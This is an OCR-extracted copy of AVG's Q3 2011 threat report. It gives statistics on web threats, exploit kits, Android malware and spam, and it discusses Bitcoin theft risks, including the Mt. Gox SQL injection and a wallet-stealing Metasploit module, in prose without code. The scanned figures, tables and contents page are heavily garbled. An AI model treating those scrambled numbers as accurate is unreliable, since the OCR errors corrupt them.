AVG Community Powered

Threat Report

Q3 2011



oF AVG

Contents
T} { oo [¥ Tt o] o T TSRO T PP PRTPPPUPRUPRRPRO 3
GV o T (Rl @ 30X ) B TP PPPPPPPPPPPPPPPPRE 4
Quarterly Key Metrics: JUIY- SEPLEMDEIT 2011 ... ettt ettt e e s sttt e e ssabee e e ssateeeessstaeeesaatseeessseeeesnseeeesaseeeesnsaeeesasseaesnseeeesnsaeeesansseeesnnssanesnnnsanennn 5
IMLETFICS ~WWED TIFEALS ...ttt ettt ettt e bt e s a bt e s bt e e s ab e e st e e e bteesabeeeabe e e aa e e e s ase e e sab e e e ab e e e st e e sabeeeas e e e meeesabe e e sabeeeabeeeaneeesabeeeaneeenreesanenenanes 5
Top 10 Web Threats Prevalence Table Q3 201 1. ... iieee e ecieeeeeciiee e eetee e e sttt e e s sttt e e s sttt eessbeeaessbeeaesssseeeesaseaeesasseeessssseeesessseeesssnseeesssnseeesesnseeessnnseesssnnsenes 5
Top 10 Malware Threat Prevalence Table Q3 201 1.......ooi ettt etee e et e e e ettt e e e e tteeeeebaeeesebteeeeabeeeesaseaeeeasseaaeeanseseeaanseseeeanseseseanseeeeesssenesennstneesansens 6
Behavior Categories Chart Q3 200 1. ... ..ciii i ettt e ettt e e e ettt e e sette e e e stteeeesauteeeeaastaeeesstaeaesstaeessastasassssseeesassaeeesssseassssaeessassaeesastaeessssaeesssseeessasseeessnssenaesnnes 6
oY ol ] CoT kol Moo | G YT T T 1 A USSR 7
Y g (o Y o] o1 T I o T =T | £ T O OO O PP U U U PO PRTOTOPROTRTO 7
Top Malicious ANdroid APPHCAtioNs Q3 201 1. .....cii ittt ettt et e e et e e e sttt e e e sebteeeesabeeeeessaaeesaseeaessseeeesanseaessaseeeeeasseeeeessseeeeessseeessssenesssnseeessnnseeesesnsenes 7
Y g (ol 3 T o T | T O T O T PO PSP PSTOVORRTOTPTO 7
Top 10 Domains in Spam Messages Q3 2011 Top 5 Languages in Spam Messages Q3 2011 .....uuuiuiiiiiiiiiiiiiiiiiiiiiiiriieiereieuererererereaeeeaa ... 8
Top Countries Of SPAM SENAEIS Q3 2011 .....cciiiiiiee ittt eciee e e ecte e e e ettt e e e eetteeeeetteeeeaasteaeeasesaasasaaeasasseseesansaseesaseseesanseseesanseseesasseeesaansesessasseeeeasssenesannssneesnsens 8
WWED RISKS & THI@ALS ... ettt ettt b s bt at e e a et et e bt e s bt e sheesat e s ateea bt e b e e b e e bt e eae e eae e eae e e b e e b e e sh e e Sa b e eat e e e bt e abeem b e e beeemeeea b e eae e e bt ebeesbeesaeesanesabeeaneeneennes 9
D= | I O T T =Y o Yo TP UPSPN 9
The RISKS OF USING BILCOIN ...uveiiiiiiiiiiiiciiie ettt e sttt e e ettt e e sttt e e s eute e e e sataeeesateeeesaseeeeesastaeeesassaeeesasteeeeaasseeeesasseeeesasteeeeaastaeeesnstaeessssaeessanteeessnnseeessnnee 11
SCAM ThE IVIINEIS .ttt ettt ettt et ettt eat e e s bt e e s bt e e sabee s bteesa bt e aabeeaaateesabe e e abeesaseesaseeesab e e e ase e e abeesaseeesabeesab e e e meeesabeeeabeesabeesasbeesabeesabeeenteesaneeenans 11
NoOt Part of the BitCOIN NETWOIK? AFE YOU SUIE? .....ociiiiieeeciiee e ettt e e ettt e setteeesetteeeesaasaeeesasaeeesassaseeaansassesasssseeassaesesanssesesanseseesanssseesansaseesansseeeeansaeeesanssanennn 12
AV AT (Y I ol o Yo Yol <= £ U URPRRRt 13
2Tole] 04 o 0 1= g e o1 d 1o oI T OO O O TSRO PP PPTPTOPTON 14
JANQF- o]0 g\ o] - T o= (o= oY Yo L QN - [ o] QTSR 15
RECOMIMENAALIONS ...ttt ettt ettt eh et et e s bt e e sbte e s bt e e bt e e subeesabeeesabeesaseeeaseeesaseeeabeeeabeesabee e s beesabee s st e e sabeeeaseeeaabeesabeeesbeesabeesasbeesabaesaseeennbeesabenanes 17
(o | Fo Y AW o oY T 21 F- Yol 4 o] L1 2N = Yol QPP 18
BlaCKNOIE DETECTIONS STALISTICS. ...veeteirtieiiieite ettt sttt st ettt b e e bt e s bt e sae e eat e et e e bt e sb e e sheesaeesabeeab e e b e e bt e as e e eae e e aeeeabeenbeenbeesheesaeeeabeeabe e bt enseennes 18
The Blackhole BUSINESS IMIOUEL.........eiiiiiiieiieieete ettt ettt h e b e s et sttt et e bt e s bt e sheesae e e ate e b e e b e e bt e eae e eae e eaeeea b e e b e e sbeesheesaeesabeeabe e bee bt enneesmeeemteeneeensean 19
Q=T a1 0] ot 1IN = o U 19
HOW DOES I WOTK ...ttt ettt ettt ettt ettt e e b e e s bt e s bt e e saee e s bt e e sae e e s a s e e e beeesabeeea s e e e me e e s abee e s s e e s a b et s st e e sa b e e e aseeembeesas e e e seeeamseesneeesaneesaseeeanseesarenann 20
2LToloTy 10 o= g Lo E X o T o KO TP P POV URUPPTOVRROPRINt 22
MODIIE DEVICES RISKS & TRIEAES ...c.uteitieiieitiieii ettt sttt ettt h bt s bt s bt e s et e a et et e et e e s bt e sheesae e sa bt s b e e e bt e b e e b e e emeeeae e e aeeem e e e b e e nbeesheesatesaneeabe e b e eabeenbeeameesmeeeneeennean 23
o LI L 1Yo TUIN o' F= 1 SRR 23
THE RISK -ttt ettt st ettt et e s bt e s bt e s aeesa st s bt e bt e b e e e b e e eh et e ae e e a et e a R e e bt e Sh et Sh et eaE e S e Rt e R e e R e e R et eRe e eae e ea e e e Rt e bt e ehe e eheeea Rt e bt e bt e beeabeenneeeaeeenteenreen 23
The Anatomy of @ Malicious ANAroid APPIICAtION ...iiuuiii et e e et e e st e e e e ssbteeeesaateeeesataeeessteeessstaeeesstaeessssaeessasteeessanseeessnnseeessnnes 25
RECOMIMENAALIONS ... ittt ettt et e e eb et e st e sttt e b ee e s bt e s bt e eaubeesabeeesaseesaseeeaseeesabeeeabeeenb e e e ase e e s b e e s abee s s e e e sab e e e aseeenbeesabe e e seeeaaseesaseeesabeesaseeeanseenaneeann 32
(01 d o1 Ty =T o Yo ud3 e Ta o I ANV G =Tl oY g Yo [0} 4 TSP 33
AVG and Ponemon Institute: ‘Smartphone Security - SUVEY Of U.S. CONSUMIEBIS’ ......oiiiiiiiieeciiiee ettt erre e e st e e e eeate e e e seatae e e sestaeeesastaeeesastaeeesassanaesnes 33
F N aF1de] o W o i W aa b T o ol 21 - Tol 4 o] L= L =Y QUSRS 33
AVG Community Powered Threat REPOIT QL 2011 ......ooiiiiiiieeiiiiee et e e ettt e e ettt e e ettt e e e seuteeeesastaeeesstaeeesastaaeeastaaaesassaseesastasessssasessassaaessastasessassanessansenessnnes 33
AVG Community Powered Threat REPOI Q2 2011 ......ciii i et eiitee ettt e e sttt e e sttt e e e seateeeesaataeeesastaeeesasteeeesstaeeesssaeessasteeessssaeessansaeessnssaeessasseeessnsseeessnnee 33
AVG and Future Laboratories: "CYDEICIIME FULUIES ... ...ii ittt ettt e e s eate e e e sate e e e sbtaee e s ateeeessteeeesstaeeesstaeeesasseeeesssaeesssteeessanseeessnnsenessnnes 33
AVG and GfK: ‘AVG SMB Market LandsCape REPOIT 2011 ... .cciiiieiiiiiiee ettt e eiitee s sitte e e sttt e e e setteeeesastaeeesaateeeesstaeessastaeessassaeessssaeessassaeessasseeessasseeessnsseeessnnee 33
F i Yo YW NV G =Yoo T gTo] [o == SRR 33



oF Avc

Introduction

The AVG Community Powered Threat Report is based on the Community Protection Network activity analyzed by AVG researchers over a three-month
period. It provides an overview of web, mobile devices, Spam risks and threats. All statistics referenced are obtained from the AVG Community Protection
Network.

The AVG Community Protection Network is an online neighborhood watch, helping everyone in the community to protect each other. Information about
the latest threats is collected by AVG from customers who choose to participate in the product improvement program and shared with the community to
make sure everyone receives the best possible protection.

AVG has focused on building communities that help online participants all across the world to support each other on computer security issues and actively
contribute to AVG’s research efforts.

Q3 2011 Highlights

Web Threats
The most active threat on the Web,
Rogue AV Scanner 27.95% of detected malware
The most prevalent exploit toolkit in the
Fragus nulled exploit kit wild, accounts for 42.52% of toolkits
Exploit Toolkits account for 30.53% of
30.53% - . .
all threat activity on malicious websites
Of malware are using external hardware
11.21% devices (e.g. flash drives) as a
distribution method (AutoRun)
Mobile Threats
The most popular malicious Android
_angry.birds.rio.unlocker application

Spam and malicious SMS messages

Over 2 million
were detected

Messaging Threats (Spam)

USA Is the top Spam source country
Of Spam messages originated from the
o,
M USA followed by India with 5.48%
Is the most exploited URL shortening
bit.ly service which is abused to spread Spam
messages
English Is the top language used in Spam
messages


https://www.google.com/analytics/reporting/top_content?id=20242258&pdr=20110805-20110904&cmp=average&trows=10&gdfmt=nth_day�
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Key Points - Q3 2011

In Q3 2011 we are still seeing that the threats volume continues to increase as cyber criminals continue to find new ways to “monetize”. Cyber criminals are
going after the “big money”. They are not wasting energy in chasing small change, this is left to the “script kiddies”. We clearly notice that criminals are
looking for the easiest ways to make money — not just by stealing a credit card or breaking into an online banking account, as we covered in our previous
reports.

Credit card data is still a target for cyber criminals and is sold on the black market for less than $5. However, this is almost “old fashioned” since people and
companies are becoming more aware of the problem. Although awareness is increasing, it took quite a long time to educate people.

Our connected world provides hackers with an easy target, there is no need to rob someone on the streets, no need to go outside to get pickpocket, cyber
criminals are looking where the big wallets are and steal them. Why bother to monetize via a stolen credit card when a mobile operator can handle the
money collection and transfer to the account of the hacker?

Cyber criminals are targeting high profile platforms, gadgets or services where, even if only a small percentage of users will fall victim, cybercriminals will
still gain considerable amounts of money.

The main developments spotted by AVG Threats labs during Q3/2011:

(1) New targets for Cyber Criminals are the digital currency traders. Digital currency is currently mainly used for gaming. People are familiar with digital
currency through Zynga coins (zCoins) or Facebook Credits. However, there is another type of digital currency that is becoming popular called
Bitcoin which caught the attention of cyber criminals mainly due to the fact that its estimated market capital is $63,336,546 (31 Aug 2011)". There is
no need to leave home to be pickpocketed. In this report we describe how this is possible, how people’s “wallets” are within the reach of digital

pickpockets. We describe the advantages and the security risks of using digital currency these days.

(2) In this report, we follow-up on some of the previously reported stories and see whether the trend continued or changed. We provide a detailed
analysis of Facebook clipjacking and the Blackhole attack technique
a. Facebook has seen immense growth the last three years, with Facebook’s population reaching 750 million users. Targeting Facebook’s
population is like targeting about ~11% of world’s population or ~36% of global internet users. The described attack shows that the need

for attackers to get user’s credit card information is passé. All the attackers need to do is trick users to provide their phone number and
from that point they can get their money with the help of the phone companies, in many cases, they will not even notice it. Similar to digital
currency, people can fall victim without leaving home.

b. Blackhole arrived at the scene at the beginning of 2011 and over the first 6 months of 2011 our system has detected more than 34 million
incidents of Blackhole attacks. We detected a peak in March 2011 of more than 8 million incidents and since then the numbers of incidents
has been declining. However, the number of infected domains has increased dramatically. In this report, we describe in detail a typical
Blackhole operation.

(3) As anticipated in our Q1 and Q2 Community Powered Threat Reports, cyber criminals made the switch and are now targeting mobile users. With
more than 100 million activated Android devices worldwide and 550,000” new Android devices being added daily, it should come as no surprise to
anyone that the Android market is a target. In the Mobile Device Risk and Threats chapter in this report, we describe how cyber criminals continue
to monetize via fake Apps. With over 200,000 applications™ out there, no wonder that the cyber criminals need only to throw the bait and wait for
the mobile users to swallow it. Novice user will find it difficult to distinguish between legitimate applications and fake ones, prior to installing the
application.

! Source: http://bitcoinwatch.com/
2 Source: http://techcrunch.com/2011/07/14/android-now-seeing-550000-activations-per-day/



http://www.avg.com/ww-en/press-releases-news.ndi-1299�
http://www.avg.com/ww-en/press-releases-news.ndi-1563�
http://bitcoinwatch.com/�
http://techcrunch.com/2011/07/14/android-now-seeing-550000-activations-per-day/�
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Quarterly Key Metrics: July- September 2011

Metrics -Web Threats

Top 10 Web Threats Prevalence Table Q3 2011

This prevalence table shows top web threats as reported by the AVG Top 10 Web Threats Prevalence Chart Q3 2011

community.

Rogue Scanner

Blackhole Exploit Kit

Social Engineering

Pharmacy Spam Site

Fragus nulled exploit
kit

Link to Exploit Site

Facebook Clickjacking

Phoenix Exploit Kit

Best Exploit Kit

Script Injection

27.95%

16.74%

12.82%

9.26%

8.79%

4.59%

3.30%

2.50%

2.50%

2.20%

Pages containing fake virus scanners, or
appear to be pages pushing fake antivirus
products. Such pages intend either (or both)
to lure an end user to buy worthless
software, or to install malware under the
cover of seemingly useful software

Pages containing script code characteristics
of the Blackhole exploit kit, which is used to
install a range of malware

These pages contain a code/information
which tries to lure people into downloading
malicious code

Pharmacy Spam sites appear to be legitimate
online pharmacies, but usually are facsimiles
of real sites. These fake pharmacies often
supply generic, or even fake, drugs rather
than the brands advertised, and reportedly
often deliver no drugs at all

Exploit toolkit which is used to install a range
of malware

These pages contain links to known exploit
sites. In some cases, malicious code is
automatically downloaded without any user
intervention

Facebook Clickjacking Worm

Exploit toolkit which is used to install a range
of malware

Exploit toolkit which is used to install a range
of malware

Injection of code by an attacker, into a
website to change the course of execution

H Rogue Scanner
2.20%

2.50%

2.50%\_\

3.30% _ &

H Blackhole Exploit Kit

i Social Engineering

@ Pharmacy Spam Site

i Fragus nulled exploit kit
i Link to Exploit Site

i Facebook Clickjacking

i Phoenix Exploit Kit

Ll Best Exploit Kit

i Script Injection

i Other
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Top 10 Malware Threat Prevalence Table Q3 2011

This table presents the top traditional malware as detected Top 10 Malware Prevalence Chart Q3 2011
by AVG Threat Labs
Worm/AutoRun
11.21%
Win32/Heur 11.06%
Worm/Downadup 5.47%
FakeAlert 3.78%
Downloader.Agent2.ARIT 3.66%
Worm/Generic_c.ZS 3.13% B " 3.66%
Downloader.Generic10.AGXJ 3.02% 02%
JS/POPUP 2.76% 210% 2.32% 276%
Win32/sality 2.32% # Worm/AutoRun # Win32/Heur
HW D  FakeAl
Win32/Virut 2.19% orm/Downadup akeAlert
i Downloader.Agent2.ARIT i Worm/Generic_c.ZS
i Downloader.Generic10.AGXJ i JS/POPUP
LI Win32/Sality i Win32/Virut
i Other

Behavior Categories Chart Q3 2011
This table presents threats prevalence as detected by AVG’s Identity Protection engine. This patent-pending technology looks at what the software does
during execution, determines the hostile behavior of files, and prevents their execution

H Trojan H Adware/Spyware
i Downloader i Adware
M signed i Virus

i PUA - Potentially Unwanted Application & Malware
i Network Worm i Backdoor

i Other
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Top Exploit Toolkits Seen in Q3 2011

These metrics present the top five exploit toolkits in terms of malicious web
activities. Criminals are increasingly utilizing toolkits to carry out cyber attacks.
As a result, in many cases using attack toolkits does not require technical

expertise
1 Fragus 42.52%
2 Blackhole 38.60%
3 Neosploit 8.93%
4 Seosploit 7.89%
5 Bleeding Life 0.88%
6 Others 1.18%

Metrics - Mobile Threats

Top Malicious Android Applications Q3 2011

Metrics - Email Threats

Top malicious Android applications as detected by AVG
Threat Labs

com.noshufou.android.su 45.07%
com.z4mod.z4root 7.14%
com.corner23.android.universalandroot 1.95%
com.crazyapps.angry.birds.rio.unlocker 1.75%

com.netmite.andme.launcher.firefox 1.63%
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Top 10 Domains in Spam Messages Q3 2011 Top 5 Languages in Spam Messages Q3 2011
Top domains used in Spam messages

1 : 3.54%
= Hotmail Top languages used in global Spam messages
2 =y 1.2% 1 English 68.45%
3 — rolex.com (spoofed) 1.2% 2 Unknown 18.56%
4 [ mail.ru 0.9% 3 o | Portuguese 2.27%
5 = totaljoblists.net 0.7% 4 LN French 1.69%
6 — msn.com 0.6% 5 — German 1.54%
7 = addthis.com 0.6%
8 [ europe-hire.net 0.6%
9 — gmail.com 0.5%
10 — Facebook.com 0.5%
Top Countries of Spam Senders Q3 2011
Top Spam source countries
1 — United States 35.11%
2 = India 5.48%
3 Brazil 5.41%
4 o United Kingdom 4.05%
5 - Russian Federation 3.80%
6 i Republic of Korea 2.48%
7 Ea Vietnam 2.47%
8 iLa France 2.26%
9 e Germany 2.00%
10 = Ukraine 2.00%
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Web Risks & Threats

Digital Currency

Digital currency is currently mainly used for gaming. People are familiar with digital currency through Zynga coins (zCoins), Facebook Credits or XBOX Points.

The coins/credits/points are used to buy virtual goods in all games on the Facebook/Zynga platforms. In the case of Facebook, it is possible to purchase

Facebook Credits using credit card, PayPal, a mobile phone and many other alternative payment methods.

Another type of digital currency is Bitcoin. Bitcoin was created in 2009, based mainly on a self-published paper by Satoshi Nakamoto®. The main difference

of Bitcoin is that it designed to allow people to buy and sell without centralized control by banks, governments or commercial companies. It also allows for

pseudonymous transactions, which aren't tied to a real identity. The main idea behind the decentralized mechanism is that there is no need for

intermediaries that add transaction fees and increase the cost. This is especially important for micro payments. Bitcoin relies on cryptography to control

the creation and transfer of money. The transactions are digitally signed, with one node signing over some amount of the currency to another node and are

broadcasted to all nodes in a peer-to-peer network. Another aspect Bitcoin’s mechanism is trying to cope with are the frauds that the traditional monetary

systems are facing.

People interact with Bitcoin using a "wallet," which may be either stored on their computer by the Bitcoin software or hosted on a third-party website. The

wallet shows users their available Bitcoin balance, transaction history, and the collection of Bitcoin addresses they may use to send and receive Bitcoins

with other users. Because all transactions are added to the transaction log in the Bitcoin block-chain, which is a distributed database formed by all the

Bitcoin participants, a user's Bitcoin software does not need to be running for that user to receive Bitcoins **

Bitcoin is a digital version of cash. Payments are made with no intermediaries, but it also has the same major disadvantage as cash, if someone is stealing
cash, it is almost impossible to get it back, the same goes for Bitcoin, once the transaction is approved by the network, there is no way to reverse the action.
Unlike other currencies traded online, users can't go to a bank and withdraw physical coins; users can “mine” (produce) Bitcoins (BTC) by using their GPU

computing® power or buy it through one of the exchange markets (e.g. MtGox, TradeHill, etc.)

As of August 2011 there are over 7.1 Bitcoins available’; Estimated Market Capital is 63,336,546° $ (Figure 1, Figure 2)

Filter Symbol

mtgoxUSD
USD (dwolla/SERA)

Experimental

features

ahead.

Feedback thusD
welcome! usD
Currencies JETEITe:TY
. GBP (wire)

AUD (3)

o virtexCAD
- BGN (1) CAD (EMT/Direct)
BRL (1)

CAD ',.1_ virwoxSLL
L SLL {Second Life)
M CLP (1)

CNY (1) I‘I‘:El_‘SD

EUR (5) -

GEP (2) [
INR (1) -

JPY (1) ﬁ::-cr‘blhl-s.P :
PLN ::5: u Casn/Check)
RUB (4) btcexUSD
SAR (1) USD [Liberty Reserve)
SLL (2) bitomatPLN
UsD (11 PLN {wire)

cbxUSD
USD [dwolla)

thEUR ¥
EUR

btcnCNY
cHY

bitmarketU5D
USD (wire/PayPal)

bitchangePLN
PLN (wire)

b7EUR
EUR

thLRUSD
USD [Liberty Reserve)

Figure 1 - Bitcoin Market Exchange (source: Bitcoincharts.com/markets)

Latest Price

8.8551
Aug 28, 2011, 13:06:16

8.8
Aug 29, 211, 12:58:31

5.4343
Aug 29, 211, 12:58:1

9.13001
Aug 29, 2011, 12:08:17

2111
Aug 29, 211, 12:26:17

8.75
Aug 29, 2011, 11:46:03

6.73

Aug 29, HHA, 13:03:35

8.8912
Aug 29, 2011, 12:59:29

11.13
Aug 29, 2011, 12:22:13

29.2
Aug 1. 2011, 09:55:51

8.91
Aug 29, 2011, 12:56:15

6.1935067484
Aug 29, 2011, 12:47:21

28
Aug 29, HHA, 12:52:05

10.5
Aug 29, 2011, 10:37:06

26
Aug 29, 2011, 12:36:33

6.89
Aug 29, 2011, 10:42:50

8.7008868489
Aug 29, 2011, 10:46:09

3 Source: http://www.bitcoin.org/bitcoin.pdf

* Source:http://en.wikipedia.org/wiki/Bitcoin

Previous Close

9.07011

0. HH -23T%

9.10564
0.30364 -3.36%

5.82
-.3857 -6.63%

9.5
-.36999 -3.90%

22
SE+1 -4.09%

8.6
+0.15 1.74%

.M
.76 -1012%

9.0547
01635 -1.E1%

10.3082
+D.E418 BAT%

29.39

0.19 0.65%

8.89
+.02 0.23%

6.5
-0.3064932516 4.72%

64
£ -9.38%

10.38
+.12 1.16%

26.5
0.5 -1.89%

T1.37
-0.48 6.51%

9
0.2991131511 3.

Volume

6,325.08
57,474.34 USD

812.60
7.269.90 USD

169.46
963.33 GBP

20.94
197.86 CAD

468.00

A0 168.00 5LL 47

26.97
234.83 USD

421.00
2 995.18 EUR

161.55

A437.52 USD

177.95
£IT3USD

74.14
27434 PLN

133.97
1.115.97 USD

73.35
4,333.32 CNY

12.66
131.73 USD

32.05
232.89 PLN

27.25
184.60 EUR

83.05
720.56 USD

30d Volume

1,223,908.60
12,176,077.24 USD

96,881.72
581.963.71 USD

22,153.23
143,998 77 GBP

16,923.99
170,868.32 CAD

16,671.00
20,034.00 5L

14,915.23
146,824.86 USD

12,477.83
97.583.06 EUR

10,583.12
109,843.31 USD

6,539.44
68.152.41 USD

6,291.38
173.833.41 PLN

6,248.56
£4,576.50 UISD

4,301.51
32,169.76 EUR

2,760.86
33,534.60 USD

2,516.19
72.927.04 FLN

2,214.95
16,955.40 EUR

2,060.68
20,950.53 USD

Day low/high Open Bid

8.8 927027

9.07021 3.8551

8.7600000002

9.1798356128 2-03330806 8.7697093645

5.4343 5.9

5.82 5.4343

9.13001 9.55 9.5

9.16

2110 2495
8.03 9.4
6.25

8.4

6.1935067484 6.308

9.9
253
6.32

6.58

1.6 9.7999816353 3.9 8.7012978317

> Source: http://arstechnica.com/tech-policy/news/2011/06/bitcoin-inside-the-encrypted-peer-to-peer-currency.ars

Ask

6.85

9.263927212

bt

® “Most computers are equipped with a Graphics Processing Unit (GPU) that handles their graphical output, including the 3-D animated graphics used in computer
games. The computing power of GPUs has increased rapidly, and they are now often much faster than the computer's main processor, or CPU (source:

berkeley.edu)

7 Source: http://blockexplorer.com/q/totalbc

& Source: http://bitcoinwatch.com/
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There is a long list of web sites / companies that except Bitcoins’, among them are Wikileaks which accepts Bitcoins donations and others.

Economy Exchanges
Taotal BTC 7,152,550 BTC Market Last Volume (24h) Bid Ask High Low
Markst Cap 63,336,546 USD mtgoxUSD 8.8551 25,943.67 | 8.86 8.90 9.48 8.69
based on latest prices or 48,279,713 EUR thusD 8.8000 1468.79 | 8.77 5.80 9.46 8.74
or 185,966,300 PLN britcoinGBP  5.4343 109118 | 543 555 5.95 5.30
or 38,869,102 GBP virwoxSLL  2111.0000 808.00 2113.00 2426.00 2550.00 2110.00

Transactions 7,679 bitmarketEUR  6.7500 43850 18.00 6.74 7.65 6.25
astadn vitexCAD  9.1300 4627 916 959 990  9.00
Transactions 319.96
avg. per hour btcexUSD 11.1500 313.17 | 9.25 11.00 1115 9.01
Bitcoins sent 223.272.62 BTC cbxUSD 8.9100 280.15 | 8.79 8.91 g9.42 8.74
last 24h exchbUSD 8.8912 22083 | 8.77 8.89 9.33 8.40
Bitcoins sent 9,303.03BTC bitchangePLN 26.0000 12076 26.00 2674 2749 2590
e thLRUSD 8.7009 114.51 | 8.70 9.26 9.80 7.60
Blocks btcnCNY 58.0000 103.05 5711  60.00 64.89 57.01

thEUR 6.1935 80.31 | 6.19 6.20 6.50 6.05
Count 143,050 b7USD 8.7500 £3.34 | 8.75 9.00 9.40 8.02
Blocks 137 b7EUR 6.8900 42.96 | 6.58 6.85 7.38 6.32
last 24h thAUD 9.9800 26.60 | 8.35 9.98 9.98 8.3
Blocks 5.71 btcelSD 8.6000 16.78 | B.60 9.00 5.00 B.60
S L bitmarketUSD 10.5000 1466 1500 990 1050  9.90
Difficulty 1,806,098 thCLP 5240.0000 761 392500 4980.00 5259.98 4700.00
Next Difficulty 1,778,653 bitmarketGBP  6.0000 500 17.00 630 600  6.00
n 6 plocks bitmarketPLN  28.5000 210 3700 3050 2850 28.50
?:::;far:hg;fhram 12.73 mredBRL 18.4900 091 1803 1849 1897  10.00
ek ashrate 161.70 Currencies (Weighted Prices)

Currency 24h id 30d

usp 9.05 9.48 9.97

AUD 9.08 9.91 10.64

RUB = = 300.00

Figure 2 - Bitcoin Market Exchange (source: Bitcoinwatch.com)

DonNATE

Donate

WikiLeaks has been subject to an unlawful financial blockade by big U.S. financial companies since Dec 2010. This ban was re-
confirmed on 8th July 2011. To find more out more about this blockade and how you can beat the banks please visit our banking
blockade page

WikiLeaks brings truth to the world by publishing fact-based stories without fear or favour. You can help support ourindependent
media by donating financially.

COur organisation exists because of the work of many volunteers who have contributed thousands of hours to building WikiLeaks
from the ground up.

Your donations are vital to pay for Wikileaks' servers and infrastructure, staff and travel expenses, and for the legal protections and
advice Wikileaks needs to operate.

There are different ways to donate to WikiLeaks.

WikiLeaks

Bank Transfer - Option 1: via Sunshine Press Productions ehf:

‘ Support us ‘ Skulagétu 19, 101 Reykjavik, Iceland

Landsbanki Islands Account number 0111-26-611010
. BANKISWIFT:MNBIISRE

ArChlVES ACCOUNTABAMNIS97 0111 2661 1010 6110 1002 80

2006-2010

Bank Transfer - Option 2: via the not-for-profit Wau Holland Stiftung Foundation:

Editarials This support is tax deductible in Germany!

2011-08-24 Bank Account 2772812-04

US espionage IBAN: DE46 5204 0021 0277 281204
BIC Code: COBADEFF520

:T:'E?Stlgatlon against Bank: Commerzbank Kassel
WikiLeaks: PATRIOT | german BLZ: 52040021

Act order unsealed Subject WIKILEAKS / WHS Projekt 04
2011-06-15
In Conversation with Bitcoin

Julian Assange Part |l Bitcoin is a secure and anonymous digital currency. Bitcoins cannot be easily tracked back to you, and are safer and faster

2011-05-24 alternative to other donation methods. You can send BTC to the following address:
"WikiSecrets" Julian
Assange Full Interview
Footage Various sites offer a service to exchange other currency toffrom Bitcoins. There are also services allowing trades of goods for

2011-05-23 Bitcoins. Bitcoins are not subject to central regulations and are still gaining value. Read more about Bitcoins on Wikipedia

1HBSXMLmzFVj8ALjEmBsbifRoD4miY3Gv

Figure 3 - Wikileaks Donations Page

% Source: https://en.bitcoin.it/wiki/Trade#Real-time Trading
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Am [ Vulnerable?

Affordable solutians for small
businesses and personal websites.

LITE

LITE PACKAGE
Denial of Service Test & Fix

Your server wil be tested to see ifitis vulnerable to a
denial of service {DoS) attack. YOU WILL NOT BE
CHARGED UMLESS YOUR SERVER 15 VIULMERABLE. If

your server is successfully taken offiine by our attack,

we will immediately restore service and send you a
report detailing the issue and repair strategies. This is
NOT a botnet attack, we are exploiting common
mizconfigurations that should be addressed if they

Home About Us

=
STANDARD

STANDARD PACKAGE

Web Application Vulnerability Analysis + Free
DoS Test

‘four web application will be tested to seeifitis
vulnerable to attack from thousands of public
exploits. We spedalize in hacks against Joomla,
Wordpress, osCommerce, ZenCart, and more. We wil
zend you a report outlining any vulnerabiities we
discover and help you implement the fixes. In addition
to a web application analysis, this package indudes a

Contact Us Affilates

D
PRO

PRO PACKAGE

Server infrastructure assessment + Web
Application Vulnerability Assessment + Free
DoS Test

Your server infrastructure and web application wil
vigorously tested against of tens of thousands of
known exploits and vulnerabilities. An ethical hacker
will attempt to gain complete control of your server
and applications from our remote location. At the
condusion of the test, we wil send you a detailed

report and help you repair the issues.

are present. free Denial of Service test and fix.
Hirme ] Price: 500 USD [ 475 BTC
Price; 100 USD / 95 BTC Price: 250 USD / 235 BTC

Buy Now Buy Now Buy Now
| —= = | | == e | | = R | |
itcoi itcoi bitcoin
bitcoin bitcoin

Pay using Bitcoins!
Send 475 BTC to
1GXXAFkIPBgMexqgdBifdpo YEPYYRWoe394

Pay using Bitcoins!
Send 235 BIC to
167tmvDpcS8jUKrSpPitBIBChUVPYZWex

Pay using Bitcoins!
Send 95 BTC to
INf522H55koUVxXnYYwL15x6EH86dpmhSX

Figure 4 - Ethical Hacking Service

The Risks of Using Bitcoin
The anonymity and decentralized nature of the Bitcoin market are its main advantages. However, these are also the disadvantages of the Bitcoin market

since it’s more attractive to cyber criminals. They can easily cover their tracks. Here are some recent examples:

In June 2011 it was reported that a compromised Windows computer was to blame for the theft of 25,000 Bitcoins, which is the equivalent of just under
$500,000 (June 2011 Exchange Rate BTC to Dollar)™

In June 2011, an unknown person logged in to the compromised admin account. With the permissions of that account the person was able to arbitrarily
assign himself a large number of Bitcoins, which they subsequently sold on the exchange, driving the price down from $17.50 to $0.01 within the span of 30
minutes. With the price now this low, the thief could make a larger withdrawal (approximately 2000 BTC) before the security measures stopped further

action.™

Also in June 2011, a SQL injection vulnerability was discovered in the code of Bitcoin exchange mtgox.com. This vulnerability was responsible for allowing an
attacker to gain read-only access to the Mt. Gox user database. The information retrieved from that database included plain text email addresses and
usernames, unsalted MD5 passwords off accounts that had not logged in since prior to the Mt. Gox ownership transfer, and salted MD5 passwords of those

accounts created or logged in to post-ownership transfer.

On August 2011, Metasploit, a computer security project, released a new Metasploit module 'Bitcoin_jacker.rb' which downloads any Bitcoin wallet.dat files

from the target system.
These examples demonstrate how any service or gadget is becoming a target for cyber criminals the moment it is gaining attraction and popularity.
Scam the Miners

A transaction is a signed section of data that is broadcasted to the network and collected into blocks. They reference a previous transaction and dedicate a
certain number of Bitcoins from it to a new public key (Bitcoin address). Transactions are not encrypted.*

Example of Bitcoin transaction (Figure 5):

Y source: http://bitcointalk.org/index.php?topic=16457.0
" Source: https://mtgox.com/press release 20110630.html
2 source: https://en.bitcoin.it/wiki/Transactions
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Hash’: 0d5f9534ea39a6b97 cfc56£35d8b2250f6d4f=0280fa86e66a50a2 Tb2e0fc 77
Appeared in block 143449 (2011-09-01 06:42:29)

Number of iITputSZZ 1 (Jump to inputs)

Total BTC in’: 7.65675172

Number of outputs: 2 (Jump to outputs)
Total BTC out’: 765625172

Sizel: 259 bytes
Fee: 0.0005

e
Baw transaction*

]nputs2
Previous output (il:lde][}2 Amount? From address f['ype2 Sl:riptSig—"’
3046022100a0c514e633c8b5al3ecT369cdc334
cdb98acbde60....0 765675172 | 1BSY6eq3MQZ40pYGmIsheJaGSLsAPoFeSr | Address | 044c365aed941024f6b580c614e792fe43b0ef24
o nr [
bl
Outputs=-
Index” | Redeemed at i:q:but2 Amount® To address> ".['3.'pe2 Sl:riptPubKey—?
OP_DUP OP_HASHI160
0 Not vet redeemed 7.5301062 |1DgW4ikqZHaquBRMtCVpuVeimVYvOCAzTkm | Address | Scedbeb1fa3bb7fdbdadfcb8012ffd38dea74653
OP_EQUALVERIFY OP_CHECKSIG
